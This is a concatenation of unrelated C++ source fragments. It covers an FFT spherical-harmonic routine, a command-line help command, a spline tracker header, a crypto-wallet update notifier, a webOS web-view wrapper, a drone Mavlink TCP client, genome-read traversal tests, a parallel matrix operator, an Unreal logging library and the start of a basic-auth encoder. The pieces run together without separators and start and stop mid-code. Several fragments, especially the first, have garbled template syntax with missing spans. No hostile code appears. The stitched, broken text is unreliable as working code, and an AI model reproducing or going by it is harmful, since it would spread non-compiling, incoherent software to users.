work[cnt2]; if (++cnt2==nph) cnt2=0; } if (shifted) for (int m=0; m<=mmax; ++m) dataout[m] *= shiftarr[m]; } void recalc_map2alm (int nph, int mmax, rfft &plan, arr > &shiftarr) { if (plan.size() == nph) return; plan.Set (nph); double f1 = pi/nph; for (int m=0; m<=mmax; ++m) { if (m void fft_map2alm (int nph, int mmax, bool shifted, double weight, rfft &plan, T *mapN, T *mapS, xcomplex *phas_n, xcomplex *phas_s, const arr > &shiftarr, arr > &work) { for (int m=0; m > &shiftarr) { if (plan.size() == nph) return; plan.Set (nph); double f1 = pi/nph; for (int m=0; m<=mmax; ++m) { if (m void fft_alm2map (int nph, int mmax, bool shifted, rfft &plan, T *mapN, T *mapS, xcomplex *b_north, xcomplex *b_south, const arr > &shiftarr, arr > &work) { fill_work (b_north, nph, mmax, shifted, shiftarr, work); plan.backward_c(work); for (int m=0; mprig/prig/HelpCommand.cpp /* * File: HelpCommand.cpp * * Author: () * * * Copyright (c) 2014 * * This software is MIT License. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "stdafx.h" #ifndef PRIG_HELPCOMMAND_H #include #endif namespace prig { namespace HelpCommandDetail { int HelpCommandImpl::Execute() { using std::cout; using std::endl; cout << m_msg << endl; return 1; } void HelpCommandImpl::SetHelp(options_description const &desc) { using boost::algorithm::replace_all; using std::stringstream; _ASSERTE(m_msg.empty()); auto ss = stringstream(); ss << desc; m_msg = ss.str(); replace_all(m_msg, "--", " -"); } } // namespace HelpCommandDetail { } // namespace prig { /* * File: linear_tracker.h * Author: blackzafiro * * Created on 19 de junio de 2017, 04:00 PM */ #ifndef LINEAR_TRACKER_H #define LINEAR_TRACKER_H #include class LinearSplineTrackerImpl; class LinearSplineTracker { public: /** * Initialize linear snake */ LinearSplineTracker(std::vector& border_clue, int max_distance, int min_distance, int min_angle, int rings); /** * Adjust linear spline to edges and save in history. * @param d_img Image with edges of the object to track. * @param d_draw Countour will be drawn in this 4 channel image. */ void track(cv::cuda::GpuMat d_img, cv::cuda::GpuMat d_edges, cv::cuda::GpuMat d_draw); /** * Writes the history of this tracking session to o. * @param o Output stream where data will be written. * @return Same stream. */ std::ostream& write(std::ostream &o) const; ~LinearSplineTracker(); private: LinearSplineTrackerImpl *impl_; }; #endif /* LINEAR_TRACKER_H */ // Copyright 2020 The Beam Team // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "push_notification_manager.h" #include "viewmodel/ui_helpers.h" using namespace beam::wallet; PushNotificationManager::PushNotificationManager() : m_walletModel(*AppModel::getInstance().getWallet()) { connect(&m_walletModel, SIGNAL(notificationsChanged(beam::wallet::ChangeAction, const std::vector&)), SLOT(onNotificationsChanged(beam::wallet::ChangeAction, const std::vector&))); m_walletModel.getAsync()->getNotifications(); } void PushNotificationManager::onNewSoftwareUpdateAvailable( const WalletImplVerInfo& info, const ECC::uintBig& notificationID, bool showPopup) { auto currentLibVersion = beamui::getCurrentLibVersion(); auto currentUIRevision = beamui::getCurrentUIRevision(); if (currentLibVersion < info.m_version || (currentLibVersion == info.m_version && currentUIRevision < info.m_UIrevision)) { m_hasNewerVersion = true; if (showPopup) { QString newVersion = QString::fromStdString( info.m_version.to_string() + "." + std::to_string(info.m_UIrevision)); QString currentVersion = QString::fromStdString( currentLibVersion.to_string() + "." + std::to_string(currentUIRevision)); QVariant id = QVariant::fromValue(notificationID); emit showUpdateNotification(newVersion, currentVersion, id); } } } void PushNotificationManager::onNotificationsChanged(ChangeAction action, const std::vector& notifications) { if ((m_firstNotification && action == ChangeAction::Reset) || action == ChangeAction::Added) { for (const auto& n : notifications) { if (n.m_type == Notification::Type::WalletImplUpdateAvailable) { WalletImplVerInfo info; if (fromByteBuffer(n.m_content, info) && info.m_application == VersionInfo::Application::DesktopWallet) { onNewSoftwareUpdateAvailable(info, n.m_ID, n.m_state == Notification::State::Unread); } } } m_firstNotification = false; } } void PushNotificationManager::onCancelPopup(const QVariant& variantID) { auto id = variantID.value(); m_walletModel.getAsync()->markNotificationAsRead(id); } bool PushNotificationManager::hasNewerVersion() const { return m_hasNewerVersion; }// Copyright (c) 2021 LG Electronics, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // SPDX-License-Identifier: Apache-2.0 #include "web_view_impl.h" #include "blink_web_view.h" WebViewImpl::WebViewImpl(std::unique_ptr web_view) : web_view_(std::move(web_view)) {} WebViewImpl::~WebViewImpl() = default; void WebViewImpl::AddUserScript(const std::string& script) { if (web_view_) web_view_->AddUserScript(script); } void WebViewImpl::ClearUserScripts() { if (web_view_) web_view_->ClearUserScripts(); } void WebViewImpl::ExecuteUserScripts() { if (web_view_) web_view_->ExecuteUserScripts(); } void WebViewImpl::SetDelegate(WebPageBlinkDelegate* delegate) { if (web_view_) web_view_->SetDelegate(delegate); } WebPageBlinkDelegate* WebViewImpl::Delegate() { return web_view_ ? web_view_->Delegate() : nullptr; } int WebViewImpl::Progress() { return web_view_ ? web_view_->Progress() : 0; } void WebViewImpl::Initialize(const std::string& app_id, const std::string& app_path, const std::string& trust_level, const std::string& v8_snapshot_path, const std::string& v8_extra_flags, bool use_native_scroll) { if (web_view_) web_view_->Initialize(app_id, app_path, trust_level, v8_snapshot_path, v8_extra_flags, use_native_scroll); } void WebViewImpl::AddUserStyleSheet(const std::string& sheet) { if (web_view_) web_view_->AddUserStyleSheet(sheet); } std::string WebViewImpl::DefaultUserAgent() const { return web_view_ ? web_view_->DefaultUserAgent() : ""; } std::string WebViewImpl::UserAgent() const { return web_view_ ? web_view_->UserAgent() : ""; } void WebViewImpl::LoadUrl(const std::string& url) { if (web_view_) web_view_->LoadUrl(url); } void WebViewImpl::StopLoading() { if (web_view_) web_view_->StopLoading(); } void WebViewImpl::LoadExtension(const std::string& name) { if (web_view_) web_view_->LoadExtension(name); } void WebViewImpl::ClearExtensions() { if (web_view_) web_view_->ClearExtensions(); } void WebViewImpl::EnableInspectablePage() { if (web_view_) web_view_->EnableInspectablePage(); } void WebViewImpl::DisableInspectablePage() { if (web_view_) web_view_->DisableInspectablePage(); } void WebViewImpl::SetInspectable(bool enable) { if (web_view_) web_view_->SetInspectable(enable); } void WebViewImpl::AddAvailablePluginDir(const std::string& directory) { if (web_view_) web_view_->AddAvailablePluginDir(directory); } void WebViewImpl::AddCustomPluginDir(const std::string& directory) { if (web_view_) web_view_->AddCustomPluginDir(directory); } void WebViewImpl::SetUserAgent(const std::string& useragent) { if (web_view_) web_view_->SetUserAgent(useragent); } void WebViewImpl::SetBackgroundColor(int r, int g, int b, int alpha) { if (web_view_) web_view_->SetBackgroundColor(r, g, b, alpha); } void WebViewImpl::SetShouldSuppressDialogs(bool suppress) { if (web_view_) web_view_->SetShouldSuppressDialogs(suppress); } void WebViewImpl::SetUseAccessibility(bool enabled) { if (web_view_) web_view_->SetUseAccessibility(enabled); } void WebViewImpl::SetActiveOnNonBlankPaint(bool active) { if (web_view_) web_view_->SetActiveOnNonBlankPaint(active); } void WebViewImpl::SetViewportSize(int width, int height) { if (web_view_) web_view_->SetViewportSize(width, height); } void WebViewImpl::NotifyMemoryPressure( webos::WebViewBase::MemoryPressureLevel level) { if (web_view_) web_view_->NotifyMemoryPressure(level); } void WebViewImpl::SetVisible(bool visible) { if (web_view_) web_view_->SetVisible(visible); } void WebViewImpl::SetPrerenderState() { if (web_view_) web_view_->SetPrerenderState(); } void WebViewImpl::SetVisibilityState( webos::WebViewBase::WebPageVisibilityState visibilityState) { if (web_view_) web_view_->SetVisibilityState(visibilityState); } void WebViewImpl::DeleteWebStorages(const std::string& identifier) { if (web_view_) web_view_->DeleteWebStorages(identifier); } std::string WebViewImpl::DocumentTitle() const { return web_view_ ? web_view_->DocumentTitle() : ""; } void WebViewImpl::SuspendWebPageDOM() { if (web_view_) web_view_->SuspendWebPageDOM(); } void WebViewImpl::ResumeWebPageDOM() { if (web_view_) web_view_->ResumeWebPageDOM(); } void WebViewImpl::SuspendWebPageMedia() { if (web_view_) web_view_->SuspendWebPageMedia(); } void WebViewImpl::ResumeWebPageMedia() { if (web_view_) web_view_->ResumeWebPageMedia(); } void WebViewImpl::SuspendPaintingAndSetVisibilityHidden() { if (web_view_) web_view_->SuspendPaintingAndSetVisibilityHidden(); } void WebViewImpl::ResumePaintingAndSetVisibilityVisible() { if (web_view_) web_view_->ResumePaintingAndSetVisibilityVisible(); } void WebViewImpl::CommitLoadVisually() { if (web_view_) web_view_->CommitLoadVisually(); } void WebViewImpl::RunJavaScript(const std::string& js_code) { if (web_view_) web_view_->RunJavaScript(js_code); } void WebViewImpl::RunJavaScriptInAllFrames(const std::string& js_code) { if (web_view_) web_view_->RunJavaScriptInAllFrames(js_code); } void WebViewImpl::Reload() { if (web_view_) web_view_->Reload(); } int WebViewImpl::RenderProcessPid() const { return web_view_ ? web_view_->RenderProcessPid() : 0; } bool WebViewImpl::IsDrmEncrypted(const std::string& url) { return web_view_ ? web_view_->IsDrmEncrypted(url) : false; } std::string WebViewImpl::DecryptDrm(const std::string& url) { return web_view_ ? web_view_->DecryptDrm(url) : ""; } void WebViewImpl::SetFocus(bool focus) { if (web_view_) web_view_->SetFocus(focus); } double WebViewImpl::GetZoomFactor() { return web_view_ ? web_view_->GetZoomFactor() : 0; } void WebViewImpl::SetZoomFactor(double factor) { if (web_view_) web_view_->SetZoomFactor(factor); } void WebViewImpl::SetDoNotTrack(bool dnt) { if (web_view_) web_view_->SetDoNotTrack(dnt); } void WebViewImpl::ForwardWebOSEvent(WebOSEvent* event) { if (web_view_) web_view_->ForwardWebOSEvent(event); } bool WebViewImpl::CanGoBack() const { return web_view_ ? web_view_->CanGoBack() : false; } void WebViewImpl::GoBack() { if (web_view_) web_view_->GoBack(); } bool WebViewImpl::IsInputMethodActive() { return web_view_ ? web_view_->IsInputMethodActive() : false; } void WebViewImpl::SetAdditionalContentsScale(float scale_x, float scale_y) { if (web_view_) web_view_->SetAdditionalContentsScale(scale_x, scale_y); } void WebViewImpl::SetHardwareResolution(int width, int height) { if (web_view_) web_view_->SetHardwareResolution(width, height); } void WebViewImpl::SetEnableHtmlSystemKeyboardAttr(bool enabled) { if (web_view_) web_view_->SetEnableHtmlSystemKeyboardAttr(enabled); } void WebViewImpl::RequestInjectionLoading(const std::string& injection_name) { if (web_view_) web_view_->RequestInjectionLoading(injection_name); } void WebViewImpl::DropAllPeerConnections( webos::DropPeerConnectionReason reason) { if (web_view_) web_view_->DropAllPeerConnections(reason); } void WebViewImpl::ActivateRendererCompositor() { if (web_view_) web_view_->ActivateRendererCompositor(); } void WebViewImpl::DeactivateRendererCompositor() { if (web_view_) web_view_->DeactivateRendererCompositor(); } const std::string& WebViewImpl::GetUrl() { if (web_view_) { return web_view_->GetUrl(); } static const std::string result(""); return result; } void WebViewImpl::UpdatePreferences() { if (web_view_) web_view_->UpdatePreferences(); } void WebViewImpl::ResetStateToMarkNextPaint() { if (web_view_) web_view_->ResetStateToMarkNextPaint(); } void WebViewImpl::SetAllowRunningInsecureContent(bool enable) { if (web_view_) web_view_->SetAllowRunningInsecureContent(enable); } void WebViewImpl::SetAllowScriptsToCloseWindows(bool enable) { if (web_view_) web_view_->SetAllowScriptsToCloseWindows(enable); } void WebViewImpl::SetAllowUniversalAccessFromFileUrls(bool enable) { if (web_view_) web_view_->SetAllowUniversalAccessFromFileUrls(enable); } void WebViewImpl::SetRequestQuotaEnabled(bool enable) { if (web_view_) web_view_->SetRequestQuotaEnabled(enable); } void WebViewImpl::SetSuppressesIncrementalRendering(bool enable) { if (web_view_) web_view_->SetSuppressesIncrementalRendering(enable); } void WebViewImpl::SetDisallowScrollbarsInMainFrame(bool enable) { if (web_view_) web_view_->SetDisallowScrollbarsInMainFrame(enable); } void WebViewImpl::SetDisallowScrollingInMainFrame(bool enable) { if (web_view_) web_view_->SetDisallowScrollingInMainFrame(enable); } void WebViewImpl::SetJavascriptCanOpenWindows(bool enable) { if (web_view_) web_view_->SetJavascriptCanOpenWindows(enable); } void WebViewImpl::SetSpatialNavigationEnabled(bool enable) { if (web_view_) web_view_->SetSpatialNavigationEnabled(enable); } void WebViewImpl::SetSupportsMultipleWindows(bool enable) { if (web_view_) web_view_->SetSupportsMultipleWindows(enable); } void WebViewImpl::SetCSSNavigationEnabled(bool enable) { if (web_view_) web_view_->SetCSSNavigationEnabled(enable); } void WebViewImpl::SetV8DateUseSystemLocaloffset(bool use) { if (web_view_) web_view_->SetV8DateUseSystemLocaloffset(use); } void WebViewImpl::SetAllowLocalResourceLoad(bool enable) { if (web_view_) web_view_->SetAllowLocalResourceLoad(enable); } void WebViewImpl::SetLocalStorageEnabled(bool enable) { if (web_view_) web_view_->SetLocalStorageEnabled(enable); } void WebViewImpl::SetDatabaseIdentifier(const std::string& identifier) { if (web_view_) web_view_->SetDatabaseIdentifier(identifier); } void WebViewImpl::SetWebSecurityEnabled(bool enable) { if (web_view_) web_view_->SetWebSecurityEnabled(enable); } void WebViewImpl::SetKeepAliveWebApp(bool enable) { if (web_view_) web_view_->SetKeepAliveWebApp(enable); } void WebViewImpl::SetAdditionalFontFamilyEnabled(bool enable) { if (web_view_) web_view_->SetAdditionalFontFamilyEnabled(enable); } void WebViewImpl::SetNetworkStableTimeout(double timeout) { if (web_view_) web_view_->SetNetworkStableTimeout(timeout); } void WebViewImpl::SetAllowFakeBoldText(bool allow) { if (web_view_) web_view_->SetAllowFakeBoldText(allow); } void WebViewImpl::SetAppId(const std::string& appId) { if (web_view_) web_view_->SetAppId(appId); } void WebViewImpl::SetSecurityOrigin(const std::string& identifier) { if (web_view_) web_view_->SetSecurityOrigin(identifier); } void WebViewImpl::SetAcceptLanguages(const std::string& lauguages) { if (web_view_) web_view_->SetAcceptLanguages(lauguages); } void WebViewImpl::SetBoardType(const std::string& board_type) { if (web_view_) web_view_->SetBoardType(board_type); } void WebViewImpl::SetMediaCodecCapability(const std::string& capability) { if (web_view_) web_view_->SetMediaCodecCapability(capability); } void WebViewImpl::SetMediaPreferences(const std::string& preferences) { if (web_view_) web_view_->SetMediaPreferences(preferences); } void WebViewImpl::SetSearchKeywordForCustomPlayer(bool enabled) { if (web_view_) web_view_->SetSearchKeywordForCustomPlayer(enabled); } void WebViewImpl::SetUseUnlimitedMediaPolicy(bool enabled) { if (web_view_) web_view_->SetUseUnlimitedMediaPolicy(enabled); } void WebViewImpl::SetAudioGuidanceOn(bool on) { if (web_view_) web_view_->SetAudioGuidanceOn(on); } void WebViewImpl::SetStandardFontFamily(const std::string& font) { if (web_view_) web_view_->SetStandardFontFamily(font); } void WebViewImpl::SetFixedFontFamily(const std::string& font) { if (web_view_) web_view_->SetFixedFontFamily(font); } void WebViewImpl::SetSerifFontFamily(const std::string& font) { if (web_view_) web_view_->SetSerifFontFamily(font); } void WebViewImpl::SetSansSerifFontFamily(const std::string& font) { if (web_view_) web_view_->SetSansSerifFontFamily(font); } void WebViewImpl::SetCursiveFontFamily(const std::string& font) { if (web_view_) web_view_->SetCursiveFontFamily(font); } void WebViewImpl::SetFantasyFontFamily(const std::string& font) { if (web_view_) web_view_->SetFantasyFontFamily(font); } void WebViewImpl::LoadAdditionalFont(const std::string& url, const std::string& font) { if (web_view_) web_view_->LoadAdditionalFont(url, font); } void WebViewImpl::SetUseLaunchOptimization(bool enabled, int delay_ms) { if (web_view_) web_view_->SetUseLaunchOptimization(enabled, delay_ms); } void WebViewImpl::SetUseEnyoOptimization(bool enabled) { if (web_view_) web_view_->SetUseEnyoOptimization(enabled); } void WebViewImpl::SetAppPreloadHint(bool is_preload) { if (web_view_) web_view_->SetAppPreloadHint(is_preload); } void WebViewImpl::SetTransparentBackground(bool enabled) { if (web_view_) web_view_->SetTransparentBackground(enabled); } void WebViewImpl::SetBackHistoryAPIDisabled(const bool on) { if (web_view_) web_view_->SetBackHistoryAPIDisabled(on); } content::WebContents* WebViewImpl::GetWebContents() { return web_view_ ? web_view_->GetWebContents() : nullptr; } /**************************************************************************** * * Copyright (C) 2017 Intel Corporation. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name PX4 nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************/ #include "mavlink_tcp.h" #include #include #include #include #include #include "log.h" //#include "util.h" int Mavlink_TCP::init(const char *ip, unsigned long port) { int ret; _fd = socket(AF_INET, SOCK_STREAM, 0); if (_fd == -1) { ERROR("Unable to create socket."); return -1; } memset(&_sockaddr, 0, sizeof(struct sockaddr_in)); _sockaddr.sin_family = AF_INET; _sockaddr.sin_addr.s_addr = inet_addr(ip); _sockaddr.sin_port = htons(port); if (fcntl(_fd, F_SETFL, O_NONBLOCK | FASYNC) < 0) { ERROR("Error setting socket fd as non-blocking"); goto network_fcntl_error; } ret = connect(_fd, (struct sockaddr *)&_sockaddr, sizeof(struct sockaddr_in)); if (ret && errno != EINPROGRESS) { ERROR("Unable to connect to socket errno=%i", errno); goto network_bind_error; } DEBUG("Mavlink TCP initialized for teraranger %s:%lu", ip, port); return 0; network_bind_error: network_fcntl_error: close(_fd); _fd = -1; return -1; } Mavlink_TCP::~Mavlink_TCP() { if (_fd == -1) { return; } close(_fd); _fd = -1; } void Mavlink_TCP::handle_read() { socklen_t addrlen = sizeof(sockaddr); uint8_t buffer[MAVLINK_MAX_PACKET_LEN]; ssize_t ret = ::recvfrom(_fd, buffer, sizeof(buffer), 0, (struct sockaddr *)&_sockaddr, &addrlen); if (ret < 1) { return; } mavlink_message_t msg; mavlink_status_t status; for (int i = 0; i < ret; i++) { if (mavlink_parse_char(MAVLINK_COMM_0, buffer[i], &msg, &status)) { _handle(&msg); } } } void Mavlink_TCP::_handle(mavlink_message_t *msg) { if (msg->msgid == MAVLINK_MSG_ID_HIGHRES_IMU && _highres_imu_msg_callback) { mavlink_highres_imu_t highres_imu; mavlink_msg_highres_imu_decode(msg, &highres_imu); _highres_imu_msg_callback(&highres_imu, (void *)_highres_imu_msg_callback_data); return; } } void Mavlink_TCP::highres_imu_msg_subscribe(void (*callback)(const mavlink_highres_imu_t *msg, void *data), const void *data) { _highres_imu_msg_callback = callback; _highres_imu_msg_callback_data = data; } bool Mavlink_TCP::handle_canwrite() { return false; } int Mavlink_TCP::distance_sensor_msg_write(mavlink_distance_sensor_t *ds_msg) { mavlink_message_t msg; uint8_t buffer[MAVLINK_MAX_PACKET_LEN]; mavlink_msg_distance_sensor_encode(_system_id, _component_id, &msg, ds_msg); uint16_t len = mavlink_msg_to_send_buffer(buffer, &msg); ssize_t r = sendto(_fd, buffer, len, 0, (struct sockaddr *)&_sockaddr, sizeof(_sockaddr)); if (r == -1) { ERROR("Error sending mavlink_distance_sensor_t: %s", strerror(errno)); return -1; } if (r != len) { ERROR("mavlink_distance_sensor_t was send incomplete"); return -2; } return 0; } src/tests/olderTests/TraverseReadsTests.cpp #include "TraverseReadsTests.h" #include #include using std::map; namespace traverseReadsTests { string fake_read1 = "ACGGGCGAACTTTCATAGGA"; string fake_read2 = "GGCGAACTAGTCCAT"; string fake_read3 = "AACTTTCATACGATT"; Bloom* bloom; //this is all the kmers from the reads plus two error kmers that cause a //TACGA --> ACGATT, ACGAAA branch (fake of length 2) string valid_5mers[] = {"ACGGG","CGGGC","GGGCG","GGCGA","GCGAA","CGAAC","GAACT" ,"AACTT","ACTTT","CTTTC","TTTCA","TTCAT","TCATA","CATAG","ATAGG","TAGGA", "AACTA","ACTAG" , "CTAGT", "TAGTC", "AGTCC","GTCCA", "TCCAT" ,"CATAC", "ATACG", "TACGA", "ACGAT","CGATT", "ACGAC", "CGACA"}; void printJunctionMap(){ printf("Size: %d \n", scanner->getJunctionMap().size()); for (auto& kv : scanner->getJunctionMap()){ printf("%s \n", print_kmer(kv.first)); } } void traverseReads(int j){ scanner->setJ(j); scanner->smart_traverse_read(fake_read1); scanner->smart_traverse_read(fake_read2); scanner->smart_traverse_read(fake_read3); } void testTraverseReads_J0(){ char* testName = (char*)"testTraverseReads_J0"; scanner = new ReadScanner("mockfile", bloom); traverseReads(0); if(scanner->getJunctionMap().size() != 4){ fail(testName, (char*)"junction map size was wrong."); printJunctionMap(); return; } succeed(testName); } void testTraverseReads_J1(){ char* testName = (char*)"testTraverseReads_J1"; scanner = new ReadScanner("mockfile", bloom); traverseReads(1); if(scanner->getJunctionMap().size() != 4){ fail(testName, (char*)"junction map size was wrong."); printJunctionMap(); return; } succeed(testName); } void testTraverseReads_J2(){ char* testName = (char*)"testTraverseReads_J2"; scanner = new ReadScanner("mockfile", bloom); traverseReads(2); if(scanner->getJunctionMap().size() != 3){ fail(testName, (char*)"junction map size was wrong."); printJunctionMap(); return; } succeed(testName); } void testTraverseReadTwice_SameJuncs(){ char* testName = (char*)"testTraverseReadsTwice_SameJuncs"; scanner = new ReadScanner("mockfile", bloom); traverseReads(1); traverseReads(1); if(scanner->getJunctionMap().size() != 4){ fail(testName, (char*)"junction map size was wrong."); printJunctionMap(); return; } succeed(testName); } void runTraverseReadsTests(){ setSizeKmer(5); bloom = loadBloom(valid_5mers,30,5); testTraverseReads_J0(); testTraverseReads_J1(); testTraverseReads_J2(); testTraverseReadTwice_SameJuncs(); } }Legolas/BlockMatrix/Structures/Diagonal/DiagonalParallelMultOperator.cxx #include "Legolas/BlockMatrix/Structures/Diagonal/DiagonalBlockMatrix.hxx" #include "Legolas/BlockMatrix/Structures/Diagonal/DiagonalParallelMultOperator.hxx" #include "my_tbb_parallel_for.hxx" namespace Legolas{ DiagonalParallelMultOperator::DiagonalParallelMultOperator( void ){} DiagonalParallelMultOperator::DiagonalParallelMultOperator(const DiagonalParallelMultOperator & source){} DiagonalParallelMultOperator::~DiagonalParallelMultOperator( void ){} class RangeDiagonalAddMultOperator{ const DiagonalVirtualBlockMatrix & A_; const double & a_; const VirtualVector & X_; VirtualVector & Y_; public: RangeDiagonalAddMultOperator(const DiagonalVirtualBlockMatrix & A, const double & a, const VirtualVector & X, VirtualVector & Y):A_(A),a_(a),X_(X),Y_(Y){} inline void operator()(const my_tbb::blocked_range & r) const { for (int i=r.begin() ; i!=r.end() ; i++){ A_.diagonalGetElement(i).addMult(a_,X_.getElement(i),Y_.getElement(i)); } } }; class RangeDiagonalMultOperator{ const DiagonalVirtualBlockMatrix & A_; const VirtualVector & X_; VirtualVector & Y_; public: RangeDiagonalMultOperator(const DiagonalVirtualBlockMatrix & A, const VirtualVector & X, VirtualVector & Y):A_(A),X_(X),Y_(Y){} inline void operator()(const my_tbb::blocked_range & r) const { for (int i=r.begin() ; i!=r.end() ; i++){ A_.diagonalGetElement(i).mult(X_.getElement(i),Y_.getElement(i)); } } }; void DiagonalParallelMultOperator::addMult(const DiagonalVirtualBlockMatrix & A, const double & a, const VirtualVector & X, VirtualVector & Y){ my_tbb::parallel_for(my_tbb::blocked_range(0,A.nrows()),RangeDiagonalAddMultOperator(A,a,X,Y)); } void DiagonalParallelMultOperator::mult(const DiagonalVirtualBlockMatrix & A, const VirtualVector & X, VirtualVector & Y){ my_tbb::parallel_for(my_tbb::blocked_range(0,A.nrows()),RangeDiagonalMultOperator(A,X,Y)); } } #include "DILoggerFunctionLibrary.h" #include "DILogger/Public/DILoggerManager.h" void UDILoggerFunctionLibrary::SetLogHandler(const TScriptInterface& _LogHandler, const UObject* WorldContextObject) { FDILoggerManager::SetLogHandler(reinterpret_cast(_LogHandler.GetInterface())); } void UDILoggerFunctionLibrary::LogCore(const FString& Message, FName CategoryName, const UObject* Context, ELogVerbosity::Type Verbosity, bool WithAssertion, bool WithFileLine, bool ToScreen, float TimeToScreen, const FLinearColor& ScreenTextColor, const FVector2D& ScreenTextScale) { FLogCategory BlueprintLogCategory(CategoryName); FDILoggerManager::Log( Message, IsValid(Context) ? Context->GetFullName() : FString(""), 0, TEXT("From Blueprint"), &BlueprintLogCategory, Verbosity, WithAssertion, WithFileLine, ToScreen, TimeToScreen, ScreenTextColor.ToFColor(false), ScreenTextScale ); } void UDILoggerFunctionLibrary::Log(const FString& Message, FName CategoryName, const UObject* Context, bool WithAssertion, bool WithFileLine, bool ToScreen, float TimeToScreen, FLinearColor ScreenTextColor, FVector2D ScreenTextScale) { LogCore(Message, CategoryName, Context, ELogVerbosity::Log, WithAssertion, WithFileLine, ToScreen, TimeToScreen, ScreenTextColor, ScreenTextScale); } void UDILoggerFunctionLibrary::LogVerbose(const FString& Message, FName CategoryName, const UObject* Context, bool WithAssertion, bool WithFileLine, bool ToScreen, float TimeToScreen, FLinearColor ScreenTextColor, FVector2D ScreenTextScale) { LogCore(Message, CategoryName, Context, ELogVerbosity::Verbose, WithAssertion, WithFileLine, ToScreen, TimeToScreen, ScreenTextColor, ScreenTextScale); } void UDILoggerFunctionLibrary::LogVeryVorbose(const FString& Message, FName CategoryName, const UObject* Context, bool WithAssertion, bool WithFileLine, bool ToScreen, float TimeToScreen, FLinearColor ScreenTextColor, FVector2D ScreenTextScale) { LogCore(Message, CategoryName, Context, ELogVerbosity::VeryVerbose, WithAssertion, WithFileLine, ToScreen, TimeToScreen, ScreenTextColor, ScreenTextScale); } void UDILoggerFunctionLibrary::LogWarning(const FString& Message, FName CategoryName, const UObject* Context, bool WithAssertion, bool WithFileLine, bool ToScreen, float TimeToScreen, FLinearColor ScreenTextColor, FVector2D ScreenTextScale) { LogCore(Message, CategoryName, Context, ELogVerbosity::Warning, WithAssertion, WithFileLine, ToScreen, TimeToScreen, ScreenTextColor, ScreenTextScale); } void UDILoggerFunctionLibrary::LogError(const FString& Message, FName CategoryName, const UObject* Context, bool WithAssertion, bool WithFileLine, bool ToScreen, float TimeToScreen, FLinearColor ScreenTextColor, FVector2D ScreenTextScale) { LogCore(Message, CategoryName, Context, ELogVerbosity::Error, WithAssertion, WithFileLine, ToScreen, TimeToScreen, ScreenTextColor, ScreenTextScale); } void UDILoggerFunctionLibrary::LogFatal(const FString& Message, FName CategoryName, const UObject* Context, bool WithAssertion, bool WithFileLine, bool ToScreen, float TimeToScreen, FLinearColor ScreenTextColor, FVector2D ScreenTextScale) { LogCore(Message, CategoryName, Context, ELogVerbosity::Fatal, WithAssertion, WithFileLine, ToScreen, TimeToScreen, ScreenTextColor, ScreenTextScale); }// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. #include #include "common/logging.h" #include "common/utils.h" #include "http/http_common.h" #include "http/http_headers.h" #include "http/http_request.h" #include "util/url_coding.h" namespace doris { std::string encode_basic_auth(const std::string& user, const std::string& passwd) { std::string auth = user + ":" + passwd; std::string encoded_auth; base64_encode(auth, &encoded_auth); static 